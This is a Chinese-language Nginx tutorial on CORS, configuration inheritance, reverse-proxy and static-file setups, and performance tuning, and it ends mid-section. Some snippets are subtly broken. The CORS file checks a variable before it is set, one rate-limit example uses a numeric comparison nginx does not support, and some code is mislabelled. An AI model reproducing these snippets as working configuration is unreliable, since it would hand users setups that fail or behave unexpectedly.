在 **前后端分离**的 Web 开发中，前端和后端往往部署在不同端口或不同域名下，这会引发 **跨域问题**。

* **前端**：React/Vue 等单页应用
* **后端**：Java、Node.js、Python 等 API 服务

浏览器默认会阻止跨域请求，需要解决跨域才能正常通信。

### 跨域常用思路

#### CORS（推荐）

* 后端设置 HTTP 响应头 `Access-Control-Allow-Origin`，允许指定域名访问。
* 支持跨域 AJAX、fetch 请求，安全灵活。

#### JSONP（老方案）

* 后端返回 JSON 数据包装成函数调用，前端通过 `<script>` 标签加载。
* 只支持 GET 请求，不推荐新项目使用。

> \[!IMPORTANT]
>
> 跨域问题指 **浏览器出于安全策略，阻止一个网页去请求不同源的资源**。
>
> **同源（Same-Origin）规则**要求：
>
> * 协议（protocol）相同
> * 域名（host）相同
> * 端口（port）相同
>
> 只有三个条件完全相同，浏览器才认为请求是同源，否则就是跨域。
>
> **限制跨域的目的**
>
> * 浏览器安全策略的一部分 **“同源策略”** (Same-Origin Policy, SOP)
> * 防止**恶意网页窃取用户敏感数据**，比如 Cookie、LocalStorage 或调用用户账户接口。
> * 限制了网页直接跨域访问任意服务器资源，提高了安全性。
>
> **触发跨域限制**
>
> **AJAX / fetch / XMLHttpRequest 请求**
>
> * 当前网页发起的异步请求，只要目标不是同源，就会被浏览器限制。
>
> **WebSocket**
>
> * 虽然协议不同，但某些浏览器也会限制跨域连接。
>
> **Fetch API + Credential**
>
> * 如果带上 `withCredentials` 或 `credentials: include`，必须明确 CORS 配置，否则浏览器会阻止。
>
> **不受跨域限制**
>
> * `<script src="...">`
> * `<img src="...">`
> * `<link href="...">`
> * `<iframe src="...">`（受沙箱限制，但不直接阻止请求）
>
> 这就是 JSONP 出现的原因：利用 `<script>` 标签不受跨域限制，返回可执行的 JS 函数。

**Nginx 配置跨域示例**

enable-cors.conf 文件（CORS 配置片段）

```nginx
# allow origin list
set $ACAO '*';

# 动态设置单个 origin
if ($http_origin ~* (www.helloworld.com)$) {
    set $ACAO $http_origin;
}

# 针对不同请求方法设置 CORS 响应头
if ($cors = "trueget") {
    add_header 'Access-Control-Allow-Origin' "$http_origin";
    add_header 'Access-Control-Allow-Credentials' 'true';
    add_header 'Access-Control-Allow-Methods' 'GET, POST, OPTIONS';
    add_header 'Access-Control-Allow-Headers' 'DNT,X-Mx-ReqToken,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type';
}

# 根据请求方法设置标识
if ($request_method = 'OPTIONS') {
    set $cors "${cors}options";
}
if ($request_method = 'GET') {
    set $cors "${cors}get";
}
if ($request_method = 'POST') {
    set $cors "${cors}post";
}
```

主 Nginx 配置（引入 CORS 配置）

假设前端端口为 9000，后端 API 端口为 8080：

```nginx
upstream front_server {
    server www.helloworld.com:9000;
}
upstream api_server {
    server www.helloworld.com:8080;
}

server {
    listen 80;
    server_name www.helloworld.com;

    # API 路径，开启 CORS
    location ~ ^/api/ {
        include enable-cors.conf;
        proxy_pass http://api_server;
        rewrite "^/api/(.*)$" /$1 break;
    }

    # 前端应用路径
    location / {
        proxy_pass http://front_server;
    }
}
```

**API 跨域**

* `/api/` 的请求会被 Nginx 转发到后端 API，同时添加 CORS 响应头。
* 浏览器允许跨域访问，前端可以正常调用 API。

**前端资源**

* `/` 路径下的请求直接转发到前端应用（端口 9000）。
* 无需跨域处理，因为访问同域名即可。

**OPTIONS 预检请求**

* 浏览器发送 `OPTIONS` 请求，Nginx 返回允许的跨域方法和头信息。

实际上，**CORS 可以在两个地方处理**，各有利弊：

**在后端配置 CORS**

**优点**：

* **最直接**：后端知道请求的来源，可以精准控制允许的域名、方法和头信息。
* **灵活性高**：可以根据不同的接口、不同的用户权限设置不同的跨域策略。
* **可控性强**：避免 nginx 层配置太多逻辑，保持反向代理简单。

**缺点**：

* 对于前端分离多个服务时，每个服务都需要配置跨域逻辑，可能重复。

**示例（Node.js Express）**：

```nginx
const cors = require('cors');
app.use(cors({
  origin: 'http://www.helloworld.com',
  credentials: true,
  methods: ['GET','POST','OPTIONS']
}));
```

**在 Nginx 配置 CORS**

**优点**：

* **统一管理**：所有 API 接口通过 nginx 反向代理，可以在一处配置 CORS，避免重复修改后端代码。
* **前后端分离时方便**：前端只访问统一域名，跨域逻辑由 nginx 处理。
* **性能稍优**：避免后端处理大量预检 OPTIONS 请求。

**缺点**：

* 配置逻辑复杂一点，需要掌握 nginx 的条件判断、头部设置。
* 对不同接口的差异化策略不如后端灵活。

**总结**

* **小型或单后端项目** → 推荐直接在后端代码中配置 CORS，灵活且易维护。
* **多服务、大型分布式项目** → 可以在 Nginx 层统一配置 CORS，减少重复配置，提高运维效率。

实际上两者可以结合使用：Nginx 统一处理大部分跨域请求，后端针对特定接口做更精细的控制。

## 分层结构

Nginx 配置文件大致是这样的分层：

```bash
main（全局） -> http -> server -> location
```

**全局（main）**

* 放在 `nginx.conf` 顶层
* 对整个 Nginx 进程生效
* 示例：`worker_processes`、`error_log`、`pid`
* **不在 `http`/`server`/`location` 下生效**

**http 块**

* 配置 HTTP/HTTPS 相关全局设置
* 示例：`include mime.types;`、`default_type`、`log_format`、`gzip on;`、`upstream`
* 可以包含多个 `server` 块

**server 块**

* 对应一个虚拟主机（域名 + 端口）
* 示例：`server_name`、`listen`
* 可以包含多个 `location` 块

**location 块**

* 对应请求的路径匹配
* 示例：静态资源路径 `/css/`、代理路径 `/api/`

Nginx 的指令分为 **可继承** 和 **不可继承**：

| 层级               | 继承规则                                                  | 示例                                               |
| ------------------ | --------------------------------------------------------- | -------------------------------------------------- |
| 全局 -> http       | 大部分全局指令对 http 可继承（例如 `error_log` 可被覆盖） | `error_log logs/error.log;`                        |
| http -> server     | **大部分指令可继承**，但可在 server 覆盖                  | `keepalive_timeout 120;` 可以在 server 覆盖为 `60` |
| server -> location | 可继承，location 可以覆盖                                 | `proxy_connect_timeout`、`root`、`index`           |

**注意**：

* 并不是所有指令都可继承。官方文档中每个指令会标明作用域（`main`、`http`、`server`、`location`）。
* 一旦在更低级别覆盖了，**低级别的值生效**。

**举例说明**

```nginx
http {
    keepalive_timeout 120;   # http级别默认120s

    server {
        listen 80;
        server_name www.example.com;

        # server 层覆盖
        keepalive_timeout 60;

        location / {
            proxy_pass http://127.0.0.1:8080;
            # location层再覆盖
            keepalive_timeout 30; 
        }

        location /static/ {
            root /var/www/html;
            # /static/ 的 keepalive_timeout 没设置，则继承 server 的60
        }
    }
}
```

请求 `/` → keepalive\_timeout = 30（location 覆盖）

请求 `/static/xxx.js` → keepalive\_timeout = 60（继承 server 的值）

**越下层，优先级越高**，可以覆盖上层设置。

**可继承指令**：如果下层没有定义，自动使用上层的值。

**不可继承指令**：只在定义的层生效，不会被下层继承。

**注意 location 匹配**：Nginx 匹配请求时，会选择最具体的 location，覆盖相关指令。

## 最佳实践

### 生产级反向代理配置

```nginx
# ===============================
# 生产级反向代理配置
# ===============================

worker_processes 1;  # Windows 下 1 个进程即可

events {
    worker_connections 4096;  # 最大并发连接
}

http {
    include mime.types;
    default_type application/octet-stream;

    # 高性能 I/O
    sendfile on;
    tcp_nopush on;
    tcp_nodelay on;
    keepalive_timeout 65;
    client_max_body_size 50m;

    # 日志
    log_format main '$remote_addr - $remote_user [$time_local] "$request" '
                    '$status $body_bytes_sent "$http_referer" '
                    '"$http_user_agent" "$http_x_forwarded_for"';
    access_log logs/access.log main;
    error_log logs/error.log warn;

    # upstream 负载均衡
    upstream backend {
        server 127.0.0.1:3001 max_fails=3 fail_timeout=30s; # 后端服务 1
        server 127.0.0.1:3002 max_fails=3 fail_timeout=30s; # 后端服务 2
        least_conn;  # 使用最少连接数的服务器
    }

    # 可选 proxy 缓存路径
    proxy_cache_path C:/nginx/cache levels=1:2 keys_zone=mycache:10m max_size=1g inactive=60m use_temp_path=off;

    server {
        listen 80;
        server_name _;  # 匹配所有请求

        # 主代理配置
        location / {
            proxy_pass http://backend;   # 转发到 upstream backend
            proxy_set_header Host $host; # 保留原始 Host
            proxy_set_header X-Real-IP $remote_addr; # 客户端真实 IP
            proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; # 代理链
            proxy_http_version 1.1;
            proxy_set_header Connection "";  # 解决 HTTP/1.1 长连接问题

            # 缓存配置
            proxy_cache mycache;
            proxy_cache_valid 200 302 10m;  # 正常响应缓存 10 分钟
            proxy_cache_valid 404 1m;       # 404 缓存 1 分钟
            proxy_cache_key "$scheme$request_method$host$request_uri";
            proxy_cache_bypass $http_cache_control;
            add_header X-Proxy-Cache $upstream_cache_status; # 查看缓存命中状态
        }

        # 静态资源单独缓存
        location ~* \.(js|css|png|jpg|jpeg|gif|ico|svg|woff|woff2|ttf|eot)$ {
            root html;
            expires 30d;
            add_header Cache-Control "public";
        }

        # URL 重写示例
        location /oldpath/ {
            rewrite ^/oldpath/(.*)$ /newpath/$1 permanent; # 301 永久重定向
        }
    }
}
```

### 生产级静态资源服务配置

```nginx
# ===============================
# 生产级静态资源服务配置
# ===============================

# Worker 进程数
# Windows 下建议 1 个，Linux 可根据 CPU 核心调整
worker_processes  1;

events {
    # 每个 worker 最大并发连接数
    worker_connections 4096;
}

http {
    # 加载 MIME 类型映射
    include       mime.types;
    default_type  application/octet-stream;

    # 高性能 I/O 设置
    sendfile        on;     # 启用零拷贝，提高静态文件传输效率
    tcp_nopush      on;     # 发送大文件前先打包 HTTP header
    tcp_nodelay     on;     # 减少小包延迟
    keepalive_timeout 65;   # 长连接超时时间，单位秒
    client_max_body_size 50m;  # 客户端请求最大体积（上传文件限制）

    # gzip 压缩，提高前端加载速度
    gzip on; 
    gzip_disable "msie6";  # IE6 不使用 gzip
    gzip_types text/plain text/css application/json application/javascript text/xml application/xml application/xml+rss text/javascript;
    gzip_min_length 256;   # 小于 256 字节不压缩
    gzip_comp_level 5;     # 压缩等级 1~9

    # 日志格式
    log_format main '$remote_addr - $remote_user [$time_local] "$request" '
                    '$status $body_bytes_sent "$http_referer" '
                    '"$http_user_agent" "$http_x_forwarded_for"';

    # 日志文件
    access_log logs/access.log main;
    error_log logs/error.log warn;

    # 服务器块
    server {
        listen 80;           # 监听端口 80
        server_name _;       # 通配符，匹配所有请求 Host

        root html;           # 静态文件根目录
        index index.html index.htm; # 默认首页

        # SPA 前端 fallback
        location / {
            try_files $uri $uri/ /index.html; 
            # 尝试文件或目录，不存在则回退到 index.html
        }

        # 静态资源缓存策略
        location ~* \.(js|css|png|jpg|jpeg|gif|ico|svg|woff|woff2|ttf|eot)$ {
            expires 30d;       # 浏览器缓存 30 天
            add_header Cache-Control "public"; # 声明可缓存
        }

        # 错误页
        error_page 404 /index.html;
    }
}
```

### 一键修改Hosts文件

```bat
@echo off
setlocal enabledelayedexpansion

:: 定义要添加的内容和hosts文件路径
set "content=127.0.0.1 www.helloworld.com"
set "hostsPath=%SystemRoot%\System32\drivers\etc\hosts"

:: 检查是否以管理员权限运行
fltmc >nul 2>&1 || (
    echo 请以管理员权限运行此脚本！
    pause
    exit /b 1
)

:: 检查内容是否已存在
findstr /c:"%content%" "%hostsPath%" >nul 2>&1
if %errorlevel% equ 0 (
    echo 内容已存在于hosts文件中，无需重复添加。
    pause
    exit /b 0
)

:: 追加内容到hosts文件
echo.>>"%hostsPath%"
echo %content%>>"%hostsPath%"

:: 检查操作是否成功
if %errorlevel% equ 0 (
    echo 成功添加内容到hosts文件。
) else (
    echo 添加内容失败，请检查权限或文件状态。
)

pause
```

---

---
url: /nginx/r6izd8z3/index.md
---
### 工作进程数

`worker_processes` 用于设置 Nginx 的工作进程数。

控制 Nginx 的 **并发处理能力**，合理配置可在性能和资源消耗间取得最佳平衡。

```nginx
## 最佳实践：让 Nginx 自动检测 CPU 核心数
worker_processes auto;
```

```nginx
## 根据 CPU 核心数手动设置
worker_processes 4;                    ## 4核CPU
worker_processes 8;                    ## 8核CPU

## 保留一个核心给系统进程
worker_processes 3;                    ## 4核CPU保留1核
```

**核心数检测方法**

**系统命令检测**

```bash
# 查看物理 CPU 核心数
nproc --all
# 或
grep -c ^processor /proc/cpuinfo

# 查看 CPU 拓扑信息
lscpu

# 查看负载情况
uptime
```

**动态配置示例**

```nginx
## 根据系统核心数动态配置
worker_processes {{ ansible_processor_cores }};  ## Ansible 变量
```

**通用生产配置**

```nginx
## /etc/nginx/nginx.conf

## 自动检测 CPU 核心数（推荐）
worker_processes auto;

## 每个进程的文件描述符限制
worker_rlimit_nofile 65535;

## 事件模型配置
events {
    ## 每个工作进程的最大连接数
    worker_connections 10240;
    
    ## 使用高效事件模型
    use epoll;
    
    ## 允许同时接受多个连接
    multi_accept on;
}
```

### 最大连接数

`worker_connections` 决定了 **单个 Nginx 工作进程能同时处理的最大连接数**，直接影响服务的并发处理能力。

数字越大，能同时处理的连接越多。

**内存占用计算**

```nginx
## 每个连接的内存开销计算：
## - 1个连接对象: ~232字节
## - 2个事件(read+write): ~96字节  
## - 总计: ~328字节/连接

## 内存占用公式：
内存(MB) = worker_connections × 328 ÷ 1024 ÷ 1024

## 示例计算：
worker_connections 100000;  ## 占用内存 ≈ 31MB
worker_connections 50000;   ## 占用内存 ≈ 16MB
worker_connections 20000;   ## 占用内存 ≈ 6MB
```

### Nginx HTTP/2

HTTP/2 通过 **多路复用、头部压缩、服务器推送** 等特性，显著提升 Web 应用性能。

启用 HTTP/2

```nginx
server {
    listen 443 ssl http2;           ## 关键：在 SSL 基础上启用 HTTP/2
    server_name example.com;
    
    ssl_certificate /path/to/cert.crt;
    ssl_certificate_key /path/to/private.key;
    
    ## HTTP/2 必需的安全配置
    ssl_protocols TLSv1.2 TLSv1.3;
    ssl_ciphers ECDHE-RSA-AES256-GCM-SHA512:DHE-RSA-AES256-GCM-SHA512;
    
    ...
}
```

**HTTP 到 HTTPS 重定向**

```nginx
## 强制使用 HTTPS + HTTP/2
server {
    listen 80;
    server_name example.com;
    return 301 https://$host$request_uri;  ## 重定向到 HTTPS
}
```

**连接优化**

```nginx
server {
    listen 443 ssl http2;
    
    ## HTTP/2 特定优化
    http2_max_field_size 16k;        ## 头部字段最大大小
    http2_max_concurrent_streams 128; ## 并发流数量
    http2_max_requests 1000;         ## 连接最大请求数
    http2_recv_timeout 30s;          ## 接收超时
    
    ## 保持连接活跃
    keepalive_timeout 30s;
    keepalive_requests 1000;
}
```

**资源推送（Server Push）**

```nginx
server {
    listen 443 ssl http2;
    
    location = /index.html {
        http2_push /style.css;       ## 推送关键 CSS
        http2_push /app.js;          ## 推送关键 JS
    }
    
    location /static/ {
        ## 静态资源适合推送
        add_header Link "</static/logo.png>; as=image; rel=preload";
    }
}
```

**现代加密套件**

```nginx
server {
    listen 443 ssl http2;
    
    ## 必需的安全配置
    ssl_protocols TLSv1.2 TLSv1.3;
    
    ## 现代加密套件（兼容 HTTP/2）
    ssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384;
    ssl_prefer_server_ciphers on;
    
    ## 增强安全性
    ssl_session_cache shared:SSL:10m;
    ssl_session_timeout 1d;
}
```

**验证 HTTP/2 是否生效**

```nginx
# 使用 curl 检查
curl -I --http2 https://example.com

# 使用 nghttp2 工具
nghttp -nv https://example.com

# 浏览器开发者工具查看
# Network → Protocol 列显示 h2
```

**配置状态监控**

```nginx
server {
    listen 443 ssl http2;
    
    location /nginx-status {
        stub_status on;
        access_log off;
        allow 127.0.0.1;
        deny all;
    }
}
```

**兼容性处理**

* 自动回退到 HTTP/1.1
* 不支持 HTTP/2 的客户端会自动使用 HTTP/1.1
* 无需特殊配置，完全向后兼容

**性能收益**

* **多路复用**：消除队头阻塞
* **头部压缩**：减少传输开销
* **服务器推送**：预加载关键资源
* **二进制协议**：解析更高效

通过简单启用 HTTP/2，即可获得显著的性能提升，且完全向后兼容。

### 维护 SSL 会话

通过**会话复用**减少 SSL/TLS 握手开销，显著提升 HTTPS 连接性能。

```nginx
http {
    ## 共享会话缓存（所有工作进程共享）
    ssl_session_cache   shared:NGX_SSL_CACHE:10m;  ## 🔄 10MB 共享缓存
    ssl_session_timeout 12h;                       ## ⏰ 会话有效期 12 小时
    
    server {
        listen 443 ssl http2;
        server_name example.com;
        
        ## 继承全局 SSL 会话配置
        ssl_session_tickets off;                   ## 🚫 禁用会话票据（安全）
        ssl_buffer_size     1400;                  ## 📦 优化 TLS 记录大小
        
        ssl_certificate     /path/to/cert.crt;
        ssl_certificate_key /path/to/private.key;
        ...
    }
}
```

**会话缓存大小计算**

```nginx
## 缓存容量估算：
## - 每个会话约 2.5KB
## - 10MB 缓存 ≈ 4,000 个会话
## - 20MB 缓存 ≈ 8,000 个会话
## - 50MB 缓存 ≈ 20,000 个会话

ssl_session_cache shared:SSL_CACHE:20m;  ## 支持约 8,000 个并发会话
```

**超时策略优化**

```nginx
## 平衡安全性和性能
ssl_session_timeout 4h;     ## 🕐 一般场景：4小时
ssl_session_timeout 1d;     ## 🕐 高访问频率：1天  
ssl_session_timeout 30m;    ## 🕐 高安全要求：30分钟
```

**禁用会话票据**

```nginx
ssl_session_tickets off;    ## ✅ 推荐：避免会话票据安全风险

## 原因：
## - 会话票据可能长期有效
## - 服务器不主动清理票据密钥
## - 减少密钥泄露的影响范围
```

**前向安全性保障**

```nginx
ssl_session_tickets off;
ssl_session_cache shared:SSL_CACHE:10m;

## 使用临时密钥交换
ssl_ecdh_curve X25519:secp384r1;

## 定期轮换会话密钥
## （通过重启 Nginx 或重新加载配置）
```

**缓冲区优化**

```nginx
## 优化 TLS 记录大小（避免 IP 分片）
ssl_buffer_size 1400;       ## 📊 适应标准 MTU（1500 - 头部开销）

## 对于高延迟网络可适当增大
ssl_buffer_size 4k;         ## 📊 高延迟链路优化
```

**会话缓存策略**

```nginx
## 多域名共享配置
http {
    ssl_session_cache shared:GLOBAL_SSL_CACHE:50m;
    ssl_session_timeout 8h;
    ssl_session_tickets off;
    
    ## 所有虚拟主机继承相同配置
}
```

**分级超时策略**

```nginx
## 内部 API（短超时）
server {
    server_name api.internal.com;
    ssl_session_timeout 1h;     ## 内部服务 1 小时
}

## 用户面向服务（中等超时）  
server {
    server_name app.example.com;
    ssl_session_timeout 4h;     ## 用户会话 4 小时
}

## 合作伙伴接口（长超时）
server {
    server_name partner.example.com;
    ssl_session_timeout 24h;    ## 合作伙伴 24 小时
}
```

**性能收益**

* **减少 CPU 消耗**：避免重复的 SSL 握手计算
* **降低连接延迟**：复用会话节省握手时间
* **提升并发能力**：减少新连接建立开销
* **改善用户体验**：更快的内容加载速度

通过合理配置 SSL 会话缓存，可以在保持安全性的同时，显著提升 HTTPS 服务的性能和用户体验。

### server\_name 匹配优化

Nginx 使用**三层哈希表**进行服务器名称匹配，不同匹配方式的性能差异显著。

三层哈希表结构

```nginx
## 性能从高到低：
## 1. 精确名称哈希表 (最快)
## 2. 前缀通配符哈希表 (*.example.com)
## 3. 后缀通配符哈希表 (example.*)
## 4. 正则表达式 (最慢，顺序匹配)
```

**性能对比配置**

```nginx
## ✅ 最优配置：精确名称
server {
    listen 80;
    server_name example.com www.example.com;  ## 🚀 精确匹配，性能最佳
    ...
}

## ⚠️ 次优配置：通配符
server {
    listen 80;
    server_name *.example.com;                ## 🐢 通配符搜索，性能中等
    ...
}

## ❌ 最差配置：正则表达式
server {
    listen 80;
    server_name ~^www\.example\.(com|org)$;   ## 🐌 正则匹配，性能最差
    ...
}
```

**显式列出精确名称**

```nginx
## ✅ 推荐：显式列出所有域名
server {
    listen 80;
    server_name example.com www.example.com blog.example.com;
    
    location / {
        root /var/www/example;
        ...
    }
}

## ❌ 避免：使用简化形式
server {
    listen 80;
    server_name .example.com;  ## 隐含 *.example.com example.com
    ...
}
```

**默认服务器配置**

```nginx
## 捕获所有未匹配的请求
server {
    listen 80 default_server;
    server_name _;  ## 特殊名称，匹配任意主机名
    
    return 444;     ## 关闭连接
    ## 或跳转到主域名
    # return 301 https://example.com$request_uri;
}
```

**IP 直接访问处理**

```nginx
## 处理直接通过 IP 访问的请求
server {
    listen 80;
    server_name "";  ## 空主机头
    
    location / {
        return 444;  ## 安全拒绝
        ## 或显示维护页面
        # root /var/www/maintenance;
    }
}
```

### 避免使用 if 检查 server\_name

在请求处理阶段使用 `if` 检查 `$host` 会导致**每个请求都进行条件判断**，造成不必要的性能开销。

**低效配置：if 判断方式**

```nginx
server {
    server_name domain.com www.domain.com;
    
    ## 问题：每个请求都要执行 if 判断
    if ($host = www.domain.com) {
        return 301 https://domain.com$request_uri;
    }
    
    ... ## 其他配置
}
```

**高效配置：多 server 块方式**

```nginx
## 专用重定向服务器块
server {
    server_name www.domain.com;
    return 301 $scheme://domain.com$request_uri;  ## 直接返回，无需判断
}

## 主服务器块
server {
    server_name domain.com;
    ... ## 业务逻辑配置
}
```

### 使用 $request\_uri 避免正则表达式

使用 `$request_uri` 变量可以**直接获取完整请求 URI**，避免昂贵的正则表达式匹配和捕获操作。

**低效配置：正则表达式方式**

```nginx
## 方式1：正则捕获组（性能最差）
rewrite ^/(.*)$ https://example.com/$1 permanent;

## 方式2：正则匹配 + 变量（仍有正则开销）
rewrite ^ https://example.com$request_uri? permanent;
```

**高效配置：直接使用变量**

```nginx
## 直接使用 $request_uri（性能最佳）
return 301 https://example.com$request_uri;
```

**性能开销对比**

```bash
正则表达式方式：
请求 → 正则引擎编译 → 模式匹配 → 捕获组处理 → 字符串拼接 → 返回

$request_uri 方式：
请求 → 变量读取 → 字符串拼接 → 返回
```

**域名迁移重定向**

```nginx
## 旧域名到新域名（保留完整路径）
server {
    server_name old-example.com www.old-example.com;
    return 301 https://new-example.com$request_uri;  ## 🚀 高效重定向
}

## 多域名统一标准化
server {
    server_name example.net example.org;
    return 301 https://example.com$request_uri;  ## 🔄 统一主域名
}
```

**HTTP 到 HTTPS 升级**

```nginx
## 强制 HTTPS（保留原始 URI）
server {
    listen 80;
    server_name example.com www.example.com;
    return 301 https://$host$request_uri;  ## 🔒 安全升级
}

## 特定路径强制 HTTPS
server {
    listen 80;
    server_name example.com;
    
    location /secure/ {
        return 301 https://$host$request_uri;  ## 🎯 精确重定向
    }
}
```

**路径结构调整**

```nginx
## 整个站点路径前缀变更
server {
    server_name example.com;
    return 301 https://example.com/new-prefix$request_uri;  ## 📁 路径迁移
}

## 保留查询参数的重定向
location /old-app/ {
    return 301 /new-app$request_uri;  ## 🔗 完整路径传递
}
```

### try\_files

`try_files` 提供了一种**高效、声明式**的文件存在性检查方式，完全替代低效的 `if -f` 条件判断。

**低效配置：if 判断方式**

```nginx
server {
    root /var/www/example.com;
    
    location /images {
        ## 问题：每个请求都执行文件系统检查
        if (-f $request_filename) {
            expires 30d;
            break;
        }
        ## 需要额外的错误处理
        return 404;
    }
}
```

**高效配置：try\_files 方式**

```nginx
server {
    root /var/www/example.com;
    
    location /images {
        ## 优势：单次声明，自动处理所有情况
        try_files $uri =404;
        expires 30d;  ## 仅在文件存在时应用
    }
}
```

**try\_files 语法详解**

```nginx
try_files file1 [file2 ...] fallback;
```

**常用模式**

```nginx
## 检查静态文件，不存在则返回 404
try_files $uri =404;

## 检查文件，不存在则尝试目录索引
try_files $uri $uri/ =404;

## 多级回退策略
try_files $uri $uri/ /fallback/index.html;
```

**实际应用场景**

**静态文件服务**

```nginx
server {
    root /var/www/example.com;
    
    location / {
        ## 检查文件 → 检查目录 → 返回 404
        try_files $uri $uri/ =404;  ## 完整的静态文件处理
    }
    
    location /assets/ {
        ## 静态资源带缓存头
        try_files $uri =404;
        expires 1y;
        add_header Cache-Control "public, immutable";  ## 长期缓存
    }
}
```

**SPA 前端路由**

```nginx
server {
    root /var/www/spa-app;
    
    location / {
        ## 文件不存在时返回 index.html（前端路由接管）
        try_files $uri $uri/ /index.html;  ## SPA 标准配置
    }
    
    location /static/ {
        ## 静态资源严格检查
        try_files $uri =404;
        expires max;
    }
}
```

**多级回退策略**

```nginx
server {
    root /var/www/application;
    
    location / {
        ## 优先级：具体文件 → 压缩版本 → 通用处理
        try_files $uri $uri.gz $uri/ @backend;  ## 智能回退
    }
    
    location @backend {
        ## 最终回退到应用服务器
        proxy_pass http://backend-server;
        proxy_set_header Host $host;
    }
}
```

**条件压缩文件服务**

```nginx
server {
    root /var/www/example.com;
    
    location / {
        ## 优先提供预压缩版本（节省 CPU）
        try_files $uri.gz $uri $uri/ =404;  ## 性能优化
    }
    
    location ~ \.gz$ {
        ## 设置正确的压缩文件头
        add_header Content-Encoding gzip;
        gzip off;  ## 避免重复压缩
    }
}
```

### 使用 return 替代 rewrite

`return` 指令提供了一种**更高效、更简洁**的重定向方式，避免正则表达式匹配的开销。

**低效配置：rewrite 方式**

```nginx
server {
    ## 问题：每个匹配的请求都需要正则处理
    if ($host = api.domain.com) {
        rewrite ^/(.*)$ http://example.com/$1 permanent;  ## 正则开销
    }
    
    ## 或者更复杂的正则
    rewrite ^/old-path/(.*)$ /new-path/$1 permanent;
}
```

**高效配置：return 方式**

```nginx
server {
    ## 优势：直接返回，无正则开销
    if ($host = api.domain.com) {
        return 403;  ## 立即返回状态码
    }
    
    ## 或者使用变量进行重定向
    return 301 https://domain.com$request_uri;
}
```

**return 指令语法详解**

```nginx
return code [text];
return code URL;
return URL;
```

**常用状态码**

```nginx
## 永久重定向
return 301 https://new-domain.com$request_uri;

## 临时重定向  
return 302 /temporary-location;

## 客户端错误
return 403;  ## 禁止访问
return 404;  ## 未找到

## 服务器错误
return 500;  ## 内部服务器错误
return 503;  ## 服务不可用
```

**访问控制**

```nginx
## IP 黑名单
geo $block_ip {
    default 0;
    192.168.1.100 1;
    10.0.0.50 1;
}

server {
    location /admin/ {
        if ($block_ip) {
            return 403;  ## 立即拒绝
        }
        ## 正常处理
    }
}

## User-Agent 过滤
server {
    location / {
        if ($http_user_agent ~* (bot|crawler|spider)) {
            return 444;  ## 静默关闭连接
        }
    }
}
```

**执行路径对比**

```bash
rewrite 方式：
请求 → 正则编译 → 模式匹配 → 捕获组处理 → 内部重定向 → 响应

return 方式：
请求 → 立即响应（无额外处理）
```

### PCRE JIT 与精确位置匹配

**作用**：通过即时编译技术大幅提升正则表达式处理速度。

```nginx
## 在 nginx.conf 的 main 上下文中开启
pcre_jit on;
```

**编译要求**：

* 使用 `--with-pcre-jit` 参数编译 Nginx
* PCRE 库版本 ≥ 8.20 并启用 JIT 支持
* 系统 PCRE 库需编译时开启 JIT

**效果**：对使用正则的 `location`、`rewrite`、`return` 等指令有明显性能提升。

**精确位置匹配优化**

**语法**：`location = /path`

**优势**：精确匹配立即终止搜索，性能最优。

```nginx
## 精确匹配 - 最高性能
location = / {
    ## 首页特殊处理
}

location = /api/v1 {
    ## API 端点精确匹配
}

## 前缀匹配 - 中等性能
location /static/ {
    ## 静态资源目录
}

## 正则匹配 - 最低性能（需要时使用）
location ~* \.(js|css|png)$ {
    ## 文件类型匹配
}
```

**匹配优先级顺序**

1. **精确匹配** (`location =`) - 立即返回
2. **前缀匹配** (`location /path/`) - 最长前缀优先
3. **正则匹配** (`location ~`) - 顺序匹配

**最佳实践**

* 高频访问路径使用精确匹配
* 开启 PCRE JIT 提升正则性能
* 按性能需求合理安排匹配顺序

### 下载速度限制优化

通过连接限制和速率控制，防止单个用户占用过多带宽，保障服务稳定性。

**连接限制区域定义**

```nginx
## 定义连接限制区域（基于客户端IP）
limit_conn_zone $binary_remote_addr zone=conn_for_remote_addr:1m;  ## 1MB可存储约8000个IP
```

**下载速度限制配置**

```nginx
location /videos/ {
    ## 连接数限制：每个IP最多10个并发连接
    limit_conn conn_for_remote_addr 10;          ## 并发控制
    
    ## 速率限制：前1MB全速，之后限速250KB/s
    limit_rate_after 1m;                         ## 初始全速
    limit_rate 250k;                             ## 后续限速
    
    ## 可选：限制缓冲区大小
    limit_rate_after 0;                          ## 立即限速模式
}
```

**多级速率限制**

```nginx
## 大文件下载：阶梯式限速
location /large-files/ {
    limit_conn conn_for_remote_addr 5;
    
    limit_rate_after 10m;    ## 前10MB全速
    limit_rate 1m;           ## 之后限速1MB/s
    
    ## 超大数据进一步限速
    if ($content_length > 100m) {
        limit_rate_after 50m;
        limit_rate 500k;
    }
}
```

**用户类型差异化限制**

```nginx
## 基于用户身份的限速
map $http_cookie $user_tier {
    default          "free";
    "~*premium=true" "premium";
    "~*vip=true"     "vip";
}

location /download/ {
    limit_conn conn_for_remote_addr 8;
    
    ## 免费用户严格限制
    if ($user_tier = "free") {
        limit_rate_after 5m;
        limit_rate 100k;
    }
    
    ## 付费用户较宽松
    if ($user_tier = "premium") {
        limit_rate_after 50m;
        limit_rate 1m;
    }
    
    ## VIP用户基本不限速
    if ($user_tier = "vip") {
        limit_rate_after 500m;
        limit_rate 10m;
    }
}
```

**文件类型差异化限制**

```nginx
## 视频流媒体特殊处理
location ~* \.(mp4|avi|mkv)$ {
    limit_conn conn_for_remote_addr 3;      ## 视频连接数限制更严格
    
    limit_rate_after 2m;                    ## 缓冲2MB后开始限速
    limit_rate 500k;                        ## 保证流畅播放的速率
}

## 普通文件下载
location ~* \.(zip|rar|exe)$ {
    limit_conn conn_for_remote_addr 2;
    
    limit_rate_after 0;                     ## 立即开始限速
    limit_rate 200k;
}
```

##

---

---
url: /nginx/tmb7m2x0/index.md
---
# Nginx 调试
### 自定义日志格式

自定义日志格式让你能够**精确记录所需信息**，从基础访问日志到深度调试数据，满足不同场景的监控和排查需求。

#### Nginx 官方默认格式

```nginx
log_format main '$remote_addr - $remote_user [$time_local] "$request" '
                '$status $body_bytes_sent "$http_referer" '
                '"$http_user_agent" "$http_x_forwarded_for"';
```

#### 企业级扩展格式

```nginx
log_format main_extended 
    '$remote_addr - $remote_user [$time_local] '          # 客户端信息和时间
    '"$request_method $scheme://$host$request_uri '       # 完整请求URL
